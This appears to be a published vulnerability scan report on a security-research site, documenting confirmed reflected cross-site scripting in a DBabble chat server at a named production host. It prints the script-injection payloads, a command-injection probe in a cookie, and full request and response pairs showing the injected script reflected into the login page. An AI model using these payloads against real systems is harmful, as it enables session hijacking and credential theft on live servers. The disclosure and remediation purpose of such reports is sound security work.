XSS, Cross Site Scripting in smtp.netwin.co.nz:8132/dbabble, CWE-79, CAPEC-86, DORK, GHDB

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

Netsparker - Scan Report Summary
TARGET URL
http://smtp.netwin.co.nz:8132/dbabble
SCAN DATE
4/21/2011 7:15:04 PM
REPORT DATE
4/21/2011 8:45:21 PM
SCAN DURATION
00:21:34

Total Requests

14887

Average Speed

11.50 req/sec.
9
identified
6
confirmed
0
critical
1
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
44 %
MEDIUM
22 %
LOW
22 %
INFORMATION
11 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/dbabble cmd_get_js2 GET Cross-site Scripting Yes
lang GET Cross-site Scripting Yes
template GET Cross-site Scripting Yes
Password Transmitted Over HTTP Yes
lang GET HTTP Header Injection No
template GET HTTP Header Injection No
Auto Complete Enabled Yes
Cookie Not Marked As HttpOnly Yes
[Possible] Internal Path Leakage (*nix) No
Cross-site Scripting

Cross-site Scripting

3 TOTAL
IMPORTANT
CONFIRMED
3
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /dbabble

/dbabble CONFIRMED

http://smtp.netwin.co.nz:8132/dbabble?cmd_get_js2='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealer..

Parameters

Parameter Type Value
cmd_get_js2 GET '"--></style></script><script>alert(0x00000F)</script>

Request

GET /dbabble?cmd_get_js2='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00000F)%3C/script%3E HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/dbabble
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Cookie: TEMPLATE=Standard; LANG=English
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 161
Connection: close
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:34 GMT
Cache-control: max-age=3600, must-revalidate
Content-Type: text/html


Unable to read ('"--></style></script><script>netsparker(0x00000F)</script>) (/usr/local/dbabble/tpl/'"--></style></script><script>netsparker(0x00000F)</script>)
- /dbabble

/dbabble CONFIRMED

http://smtp.netwin.co.nz:8132/dbabble?lang='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000..

Parameters

Parameter Type Value
lang GET '"--></style></script><script>alert(0x0000A3)</script>
template GET Standard

Request

GET /dbabble?lang='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0000A3)%3C/script%3E&template=Standard HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Cookie: TEMPLATE='& SET /A 0xFFF9999-2 &; LANG=Espa�ol(Spanish)
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 14888
Connection: close
Set-Cookie: TEMPLATE=Standard; path=/; expires=Sat, 21 Apr 2012 00:15:45 GMT,LANG='"--></style></script><script>netsparker(0x0000A3)</script>; path=/; expires=Sat, 21 Apr 2012 00:15:45 GMT
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:45 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--function CheckVersion(){ document.writeln("<b>Warning - DBabble requires a web browser that Supports JavaScript 1.1 or higher.</b><br>"); document.writeln("<b>Your web browser only supports Javascript 1.0</b>");}function CheckBrowserVersion(){ ns4 = (document.layers)? true:false ns6 = (document.getElementById)? true:false ie4 = (document.all)? true:false if (!ns4 && !ie4 && !ns6) { document.writeln("<b>Warning - DBabble requires a more recent version of your web browser.</b><br>"); document.writeln("<b>For example Internet Explorer 4.0 or Netscape Navigator 4.0 or later.</b>"); }}// --></script><script language="JavaScript1.1"><!--function CheckVersion(){}// --></script><script language="JavaScript1.2"><!--function CheckVersion(){}// --></script><script language="JavaScript"><!--function FetchDate(){ x = new Date(); document.loginform.u_hour.value=x.getHours(); document.loginform.u_min.value=x.getMinutes(); document.loginform.u_sec.value=x.getSeconds(); document.loginform.u_day.value=x.getDate();}function PassOK(){ u=document.loginform.user.value; p=document.loginform.pass.value if (p=="") { txt="Guest".toLowerCase(); txt_len=txt.length; if (u.substring(0,txt_len).toLowerCase()!=txt) return 0; } return 1;}function SubmitCheck(){ u=document.loginform.user.value; if (u=="") { document.loginform.user.focus(); return false; } p=document.loginform.pass.value if (PassOK()==0) { document.loginform.pass.focus(); return false; } FetchDate(); document.loginform.qfiller.value='_'+(new Date()).getTime(); return true;}function Login2(){ FetchDate(); window.name="mainframe" document.loginform.qfiller.value='_'+(new Date()).getTime(); document.loginform.submit();}function Login() { u=document.loginform.user.value; if (u=="") return; if (PassOK()==0) return; Login2();}function KeyCode(evt){ return document.all ? event.keyCode : evt.which ? evt.which : evt.keyCode ? evt.keyCode : evt.charcode;}function PassCheck(e) { if (KeyCode(e)==13) { Login(); return false; } else return true;}function UserCheck(e) { if (KeyCode(e)==13) { if (PassOK()==0) { document.loginform.pass.focus(); return false; } Login2(); return false; } else return true;}function Startup(){ if (window.top!=window && window.location!="/dbabble") { window.location="/dbabble?cmd=top_frame_error"; } window.name="login"}function GuestLogin(){ document.loginform.user.value="Guest" document.loginform.pass.value=""; Login2();}function GuestLoginClearForm(){ document.loginform.new_window.value="" document.loginform.hide_menu_and_friends.value="" document.loginform.after_login_page.value="" document.loginform.after_logout_page.value="" document.loginform.override_dot_top.value="" document.loginform.override_main_name.value="" document.loginform.override_check_main_window.value="" document.loginform.target=""}function ClearFormSoon(){ setTimeout('GuestLoginClearForm()',2000)}function GuestLoginChatRoomInvite(gid,hide_menu_and_friends, invite_uid){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="3" pv="cmd=chat_list&gid="+gid if (invite_uid>0) { pv=pv+"&invite_hid=511&invite_uid="+invite_uid+"&invite_is_ugroup=0"; } document.loginform.after_login_page.value=pv; GuestLogin(); ClearFormSoon()}function GuestLoginChatRoom(gid,hide_menu_and_friends){ GuestLoginChatRoomInvite(gid,hide_menu_and_friends,0);}function GuestLoginDiscussion(gid,hide_menu_and_friends){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="2" document.loginform.after_login_page.value="cmd=group_items&gid="+gid; GuestLogin(); ClearFormSoon()}function GuestLoginNow(){ GuestLogin(); ClearFormSoon()}function GuestLoginTalkDo2(new_window,window_width, window_height, is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message, sub_frame_name, after_logout_page){ GuestLoginClearForm() txt="uid" if (is_ugroup) txt="ugid" document.loginform.after_logout_page.value=after_logout_page; if (new_window) { document.loginform.new_window.value="true" window.open("", "messageWindow", "width="+window_width+",height="+window_height+",resizable=yes") document.loginform.target="messageWindow" document.loginform.after_logout_page.value="javascript:window.close()" } if (sub_frame_name!="") { if (after_logout_page=="") { document.loginform.after_logout_page.value="blank.htm"; } document.loginform.override_dot_top.value=".top."+sub_frame_name document.loginform.override_main_name.value=sub_frame_name document.loginform.override_check_main_window.value="window.length>1 && window.top.frames[1].name=='"+sub_frame_name+"'" } if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="0" document.loginform.after_login_page.value="cmd=u_talk&hid=511&"+txt+"="+uid+"&talk_first_message="+escape(initial_message)+"&talk_other_first_message="+escape(other_initial_message)+"&talk_request_style="+talk_request_style+"&title_message="+escape(title_message)+"&leave_message="+escape(leave_message)+"&pick_first="+group_pick_first+"&heading_message="+escape(heading_message)+"&alt_message="+escape(alt_message);; document.loginform.window_title.value=title_message; setTimeout("GuestLoginNow()",250);}function GuestLoginTalkDo(new_window,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message){ GuestLoginTalkDo2(new_window,290,190,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message,"","")}function GuestLoginTalk(new_window, is_ugroup, uid,hide_menu_and_friends,initial_message){ other_initial_message="Hi, -NAME- here. How can I help you?" talk_request_style=1 // 0 = Send request to recipient as soon as clicking on the link // 1 = Send request as soon as you start typing // 2 = Send request as soon as you have finished typing a complete line GuestLoginTalkDo(new_window,is_ugroup,0,uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message,'','','','')}// --></script><title>DBabble login</title></head><body onload="Startup()" BACKGROUND="/img/whttxtr2.jpg"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/dbabble?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/dbabble?cmd_get_js2=dbabble.js"></script><table bgcolor="black" width=100% border=0><tr> <td width=100% bgcolor="#336699" valign=center align=center><table border=0 cellpadding=0 cellspacing=0 margin=0><tr><td><img src="/img/netwin.gif" alt="Brought to you by NetWin Server Software - http://netwinsite.com" border=0</img></td><td><font class="huge_font" color="white">DBabble</font></td><td>&nbsp;&nbsp;&nbsp;</td><td><STYLE TYPE="text/css"><!-- A:VISITED.href_encode_class {color:white;} A:LINK.href_encode_class {color:white;}--></STYLE><font color="white">Brought to you by NetWin Server Software - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a></font></td></tr></table></td></tr></table><table><table width="100%" cellpadding=0 cellspacing=1 border=0 bgcolor="black"><tr align=center><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="khaki"><font color="black">Language:</font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><font color="white"><b>English</b></font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Espa�ol(Spanish)&template=Standard"><font color="white">Espa�ol(Spanish)</font></a><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Deutsch(German)&template=Standard"><font color="white">Deutsch(German)</font></a><spacer type="block" width=10px></td><td bgcolor="steelblue" width="100%">&nbsp;</td></tr></table><br></tr></table><table><tr><td><font color="orange" style="font-size:12pt;"><b>DBabble for Windows</b></font>- You should download and install the DBabble Windows 95/98/ME/2000/2003/NT/XP client rather than using this web page if possible. It is much faster and easier to use. You can download it free from here. <a href="/files/DBabble27y_English.exe" style="font-size:12pt;">Download DBabble Version 2.7y</a>(1,901,847 bytes - should take about 5 minutes over a 56K modem)</td></tr></table><script language="JavaScript"><!--CheckVersion() CheckBrowserVersion()//--></script><NOSCRIPT><b> Warning - DBabble requires a web browser that Supports JavaScript 1.1 or higher.<br>Your web browser does not support Javascript or you have disabled it in your preferences.</b></NOSCRIPT><form style="margin:0" name="loginform" method="POST" target="_top" action="/dbabble"onSubmit="return SubmitCheck()"><table width=100%><tr><th colspan=2 align=left bgcolor=ivory>Login User Name & Password</th><th colspan=2" align=left bgcolor=ivory width=100%>Login Options</th></tr><tr><td><table><tr><td nowrap> User Name</td><td><input type="text" name="user" value="" size="20" onkeypress="return UserCheck(event)"></td></tr><tr><td nowrap> Password</td><td> <input type="password" name="pass" value="" size="20" onkeypress="return PassCheck(event)"></td></tr></table></td><td align="LEFT"><input align="LEFT" type="submit" class=spbutton onmouseover="MO(event)" onmouseout="MU(event)" value="Login" alt="Login" name="Login"></td><td><table><tr><td nowrap><input type=hidden name="is_save_password" value="true"><input type=radio name="save_name" value="name">Save Name</td></tr><tr><td nowrap><input type=radio name="save_name" value="pass">Save Name and Password</td></tr><tr><td nowrap><input type=radio name="save_name" checked value="neither">Neither</td></tr></table></td><td><table><tr><td>To simplify the interface you can optionally hide some features</td></tr><tr><td>Features:<select name="show_features"><option value="0" selected>Show All Features</option><option value="1" >Instant Messages Only</option><option value="2" >Forums Only</option><option value="3" >Chat Rooms Only</option><option value="4" >Chat Rooms and Forums Only</option><option value="5" >Chat Rooms and Instant Messages Only</option><option value="6" >Forums and Instant Messages Only</option></select></td></tr></table></td></tr></table><input type="hidden" name="r_login" value="Login"><input type="hidden" name="u_day" value=""><input type="hidden" name="u_hour" value=""><input type="hidden" name="u_min" value=""><input type="hidden" name="u_sec" value=""><input type="hidden" name="qfiller" value=""><input type="hidden" name="window_title" value=""><input type="hidden" name="change_lang" value="'"--></style></script><script>netsparker(0x0000A3)</script>"><input type="hidden" name="change_template" value="Standard"><input type="hidden" name="after_login_page" value=""><input type="hidden" name="hide_menu_and_friends" value=""><input type="hidden" name="after_logout_page" value=""><input type="hidden" name="override_dot_top" value=""><input type=hidden name="override_main_name" value=""><input type=hidden name="override_check_main_window" value=""><input type=hidden name="new_window" value="0"></form><script language="JavaScript"><!--document.loginform.user.focus();// --></script>Just login using your normal Email user name and password<br><table width=100%><tr><th align=left bgcolor=ivory>Guest Login</th></tr><tr><td>Alternatively you can login as a guest. Some DBabble features are not available as a guest.</td></tr><tr><td><a href="javascript:GuestLogin()">Guest login</a></td></tr></table><table width=100%><tr><th align=left bgcolor=ivory>Other Links</th></tr></table><a target='helpwin' href="/help/English/Standard/contents.htm">DBabble Online Help</a><br><a target='helpwin' href="/help/English/Standard/password.htm">Forgot your Password?</a><br><br>On this server we have 17 registered usersand 2 users are currently online.There is 1 chat roomand there is 1 forumcontaining a total of 306 articles.<br><br>You can use DBabble securely but slower through your web browser at <a href="https://netwin.co.nz:8133">https://netwin.co.nz:8133</a><hr>DBabble Linux Server Version 2.7z (Aug 25 2004)- Server up for 340 days since Sun, May 16 2010 4:44 pm<hr><font class=small_font>Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> software<table cellpadding="1" cellspacing="4"> <tr> <td class=small_font><b><a href="http://www.netwinsite.com">Netwin -- Server Software</a></b></font></td> <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a></td> </tr> <tr> <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a></td> <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a></td> </tr></table></font></body></html>
- /dbabble

/dbabble CONFIRMED

http://smtp.netwin.co.nz:8132/dbabble?lang=Espa%EF%BF%BDol(Spanish)&template='%22--%3E%3C/style%3E%3..

Parameters

Parameter Type Value
lang GET Espa�ol(Spanish)
template GET '"--></style></script><script>alert(0x0000BE)</script>

Request

GET /dbabble?lang=Espa%EF%BF%BDol(Spanish)&template='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0000BE)%3C/script%3E HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 15357
Connection: close
Set-Cookie: TEMPLATE='"--></style></script><script>netsparker(0x0000BE)</script>; path=/; expires=Sat, 21 Apr 2012 00:15:48 GMT,LANG=Espa�ol(Spanish); path=/; expires=Sat, 21 Apr 2012 00:15:48 GMT
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:48 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--function CheckVersion(){ document.writeln("<b>Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.</b><br>"); document.writeln("<b>Your web browser only supports Javascript 1.0</b>");}function CheckBrowserVersion(){ ns4 = (document.layers)? true:false ns6 = (document.getElementById)? true:false ie4 = (document.all)? true:false if (!ns4 && !ie4 && !ns6) { document.writeln("<b>Warning - DBabble requires a more recent version of your web browser.</b><br>"); document.writeln("<b>For example Internet Explorer 4.0 or Netscape Navigator 4.0 or later.</b>"); }}// --></script><script language="JavaScript1.1"><!--function CheckVersion(){}// --></script><script language="JavaScript1.2"><!--function CheckVersion(){}// --></script><script language="JavaScript"><!--function FetchDate(){ x = new Date(); document.loginform.u_hour.value=x.getHours(); document.loginform.u_min.value=x.getMinutes(); document.loginform.u_sec.value=x.getSeconds(); document.loginform.u_day.value=x.getDate();}function PassOK(){ u=document.loginform.user.value; p=document.loginform.pass.value if (p=="") { txt="Invitado".toLowerCase(); txt_len=txt.length; if (u.substring(0,txt_len).toLowerCase()!=txt) return 0; } return 1;}function SubmitCheck(){ u=document.loginform.user.value; if (u=="") { document.loginform.user.focus(); return false; } p=document.loginform.pass.value if (PassOK()==0) { document.loginform.pass.focus(); return false; } FetchDate(); document.loginform.qfiller.value='_'+(new Date()).getTime(); return true;}function Login2(){ FetchDate(); window.name="mainframe" document.loginform.qfiller.value='_'+(new Date()).getTime(); document.loginform.submit();}function Login() { u=document.loginform.user.value; if (u=="") return; if (PassOK()==0) return; Login2();}function KeyCode(evt){ return document.all ? event.keyCode : evt.which ? evt.which : evt.keyCode ? evt.keyCode : evt.charcode;}function PassCheck(e) { if (KeyCode(e)==13) { Login(); return false; } else return true;}function UserCheck(e) { if (KeyCode(e)==13) { if (PassOK()==0) { document.loginform.pass.focus(); return false; } Login2(); return false; } else return true;}function Startup(){ if (window.top!=window && window.location!="/dbabble") { window.location="/dbabble?cmd=top_frame_error"; } window.name="login"}function GuestLogin(){ document.loginform.user.value="Invitado" document.loginform.pass.value=""; Login2();}function GuestLoginClearForm(){ document.loginform.new_window.value="" document.loginform.hide_menu_and_friends.value="" document.loginform.after_login_page.value="" document.loginform.after_logout_page.value="" document.loginform.override_dot_top.value="" document.loginform.override_main_name.value="" document.loginform.override_check_main_window.value="" document.loginform.target=""}function ClearFormSoon(){ setTimeout('GuestLoginClearForm()',2000)}function GuestLoginChatRoomInvite(gid,hide_menu_and_friends, invite_uid){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="3" pv="cmd=chat_list&gid="+gid if (invite_uid>0) { pv=pv+"&invite_hid=511&invite_uid="+invite_uid+"&invite_is_ugroup=0"; } document.loginform.after_login_page.value=pv; GuestLogin(); ClearFormSoon()}function GuestLoginChatRoom(gid,hide_menu_and_friends){ GuestLoginChatRoomInvite(gid,hide_menu_and_friends,0);}function GuestLoginDiscussion(gid,hide_menu_and_friends){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="2" document.loginform.after_login_page.value="cmd=group_items&gid="+gid; GuestLogin(); ClearFormSoon()}function GuestLoginNow(){ GuestLogin(); ClearFormSoon()}function GuestLoginTalkDo2(new_window,window_width, window_height, is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message, sub_frame_name, after_logout_page){ GuestLoginClearForm() txt="uid" if (is_ugroup) txt="ugid" document.loginform.after_logout_page.value=after_logout_page; if (new_window) { document.loginform.new_window.value="true" window.open("", "messageWindow", "width="+window_width+",height="+window_height+",resizable=yes") document.loginform.target="messageWindow" document.loginform.after_logout_page.value="javascript:window.close()" } if (sub_frame_name!="") { if (after_logout_page=="") { document.loginform.after_logout_page.value="blank.htm"; } document.loginform.override_dot_top.value=".top."+sub_frame_name document.loginform.override_main_name.value=sub_frame_name document.loginform.override_check_main_window.value="window.length>1 && window.top.frames[1].name=='"+sub_frame_name+"'" } if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="0" document.loginform.after_login_page.value="cmd=u_talk&hid=511&"+txt+"="+uid+"&talk_first_message="+escape(initial_message)+"&talk_other_first_message="+escape(other_initial_message)+"&talk_request_style="+talk_request_style+"&title_message="+escape(title_message)+"&leave_message="+escape(leave_message)+"&pick_first="+group_pick_first+"&heading_message="+escape(heading_message)+"&alt_message="+escape(alt_message);; document.loginform.window_title.value=title_message; setTimeout("GuestLoginNow()",250);}function GuestLoginTalkDo(new_window,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message){ GuestLoginTalkDo2(new_window,290,190,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message,"","")}function GuestLoginTalk(new_window, is_ugroup, uid,hide_menu_and_friends,initial_message){ other_initial_message="Hi, -NAME- here. How can I help you?" talk_request_style=1 // 0 = Send request to recipient as soon as clicking on the link // 1 = Send request as soon as you start typing // 2 = Send request as soon as you have finished typing a complete line GuestLoginTalkDo(new_window,is_ugroup,0,uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message,'','','','')}// --></script><title>DBabble conexi�n</title></head><body onload="Startup()" BACKGROUND="/img/whttxtr2.jpg"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/dbabble?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/dbabble?cmd_get_js2=dbabble.js"></script><table bgcolor="black" width=100% border=0><tr> <td width=100% bgcolor="#336699" valign=center align=center><table border=0 cellpadding=0 cellspacing=0 margin=0><tr><td><img src="/img/netwin.gif" alt="Tra�do a usted por el software de NetWin Server - http://netwinsite.com" border=0</img></td><td><font class="huge_font" color="white">DBabble</font></td><td>&nbsp;&nbsp;&nbsp;</td><td><STYLE TYPE="text/css"><!-- A:VISITED.href_encode_class {color:white;} A:LINK.href_encode_class {color:white;}--></STYLE><font color="white">Tra�do a usted por el software de NetWin Server - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a></font></td></tr></table></td></tr></table><table><table width="100%" cellpadding=0 cellspacing=1 border=0 bgcolor="black"><tr align=center><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="khaki"><font color="black">Lengua:</font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=English&template=Standard"><font color="white">English</font></a><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><font color="white"><b>Espa�ol(Spanish)</b></font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Deutsch(German)&template=Standard"><font color="white">Deutsch(German)</font></a><spacer type="block" width=10px></td><td bgcolor="steelblue" width="100%">&nbsp;</td></tr></table><br></tr></table><table><tr><td><font color="orange" style="font-size:12pt;"><b>DBabble para Windows</b></font>- Usted debe descargar e instalar el cliente de DBabble Windows 95/98/ME/2000/2003/NT/XP m�s bien que usar este Web page si es posible. Es mucho m�s r�pido y m�s f�cil utilizar. Usted puede descargarlo libremente de aqu�. <a href="/files/DBabble27y_Espa�ol(Spanish).exe" style="font-size:12pt;">Transferencia directa Versi�n 2.7y de DBabble</a>(1,947,161 bytes - debe tomar sobre 5 minutos sobre un m�dem 56K)</td></tr></table><script language="JavaScript"><!--CheckVersion() CheckBrowserVersion()//--></script><NOSCRIPT><b> Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.<br>Su web browser no apoya Javascript o usted lo ha inhabilitado en sus preferencias.</b></NOSCRIPT><form style="margin:0" name="loginform" method="POST" target="_top" action="/dbabble"onSubmit="return SubmitCheck()"><table width=100%><tr><th colspan=2 align=left bgcolor=ivory>Nombre Y Contrase�a Del Usuario De la Conexi�n</th><th colspan=2" align=left bgcolor=ivory width=100%>Opciones De la Conexi�n</th></tr><tr><td><table><tr><td nowrap> Nombre de usuario</td><td><input type="text" name="user" value="" size="20" onkeypress="return UserCheck(event)"></td></tr><tr><td nowrap> Contrase�a</td><td> <input type="password" name="pass" value="" size="20" onkeypress="return PassCheck(event)"></td></tr></table></td><td align="LEFT"><input align="LEFT" type="submit" class=spbutton onmouseover="MO(event)" onmouseout="MU(event)" value="Iniciar sesi�n" alt="Iniciar sesi�n" name="Iniciar sesi�n"></td><td><table><tr><td nowrap><input type=hidden name="is_save_password" value="true"><input type=radio name="save_name" value="name">Excepto Nombre</td></tr><tr><td nowrap><input type=radio name="save_name" value="pass">Excepto nombre y contrase�a</td></tr><tr><td nowrap><input type=radio name="save_name" checked value="neither">Ni unos ni otros</td></tr></table></td><td><table><tr><td>Para simplificar el interfaz usted puede ocultar opcionalmente algunas caracter�sticas</td></tr><tr><td>Caracter�sticas:<select name="show_features"><option value="0" selected>Demuestre Todas las Caracter�sticas</option><option value="1" >Mensajes Inmediatos Solamente</option><option value="2" >Grupos de discusi�n solamente</option><option value="3" >Salas de charla solamente</option><option value="4" >Cuartos y discusiones de la charla solamente</option><option value="5" >Cuartos de la charla y mensajes inmediatos solamente</option><option value="6" >Discusiones y mensajes inmediatos solamente</option></select></td></tr></table></td></tr></table><input type="hidden" name="r_login" value="Login"><input type="hidden" name="u_day" value=""><input type="hidden" name="u_hour" value=""><input type="hidden" name="u_min" value=""><input type="hidden" name="u_sec" value=""><input type="hidden" name="qfiller" value=""><input type="hidden" name="window_title" value=""><input type="hidden" name="change_lang" value="Espa�ol(Spanish)"><input type="hidden" name="change_template" value="'"--></style></script><script>netsparker(0x0000BE)</script>"><input type="hidden" name="after_login_page" value=""><input type="hidden" name="hide_menu_and_friends" value=""><input type="hidden" name="after_logout_page" value=""><input type="hidden" name="override_dot_top" value=""><input type=hidden name="override_main_name" value=""><input type=hidden name="override_check_main_window" value=""><input type=hidden name="new_window" value="0"></form><script language="JavaScript"><!--document.loginform.user.focus();// --></script>Conexi�n justa usando su nombre y contrase�a normales del usuario del email<br><table width=100%><tr><th align=left bgcolor=ivory>Conexi�n De la Hu�sped</th></tr><tr><td>Usted puede alternativomente conexi�n como hu�sped. Las caracter�sticas de alg�n DBabble no est�n disponibles como hu�sped.</td></tr><tr><td><a href="javascript:GuestLogin()">Conexi�n de la hu�sped</a></td></tr></table><table width=100%><tr><th align=left bgcolor=ivory>Otras Conexiones</th></tr></table><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/contents.htm">Ayuda En l�nea de DBabble</a><br><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/password.htm">�Se olvid� de su contrase�a?</a><br><br>En este servidor tenemos 17 los usuarios registradosy los usuarios de 2 est�n actualmente en l�nea.Hay 1 sitio de la charlay hay 1 grupo de discusi�ncontener un total de art�culos de 306.<br><br>Usted puede utilizar DBabble con seguridad pero un directo m�s lento su web browser en <a href="https://netwin.co.nz:8133">https://netwin.co.nz:8133</a><hr>DBabble Linux versi�n del servidor de 2.7z (Aug 25 2004)- Servidor disponible para 340 d�as desde Dom, May 16 2010 4:44 pm<hr><font class=small_font>Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> software<table cellpadding="1" 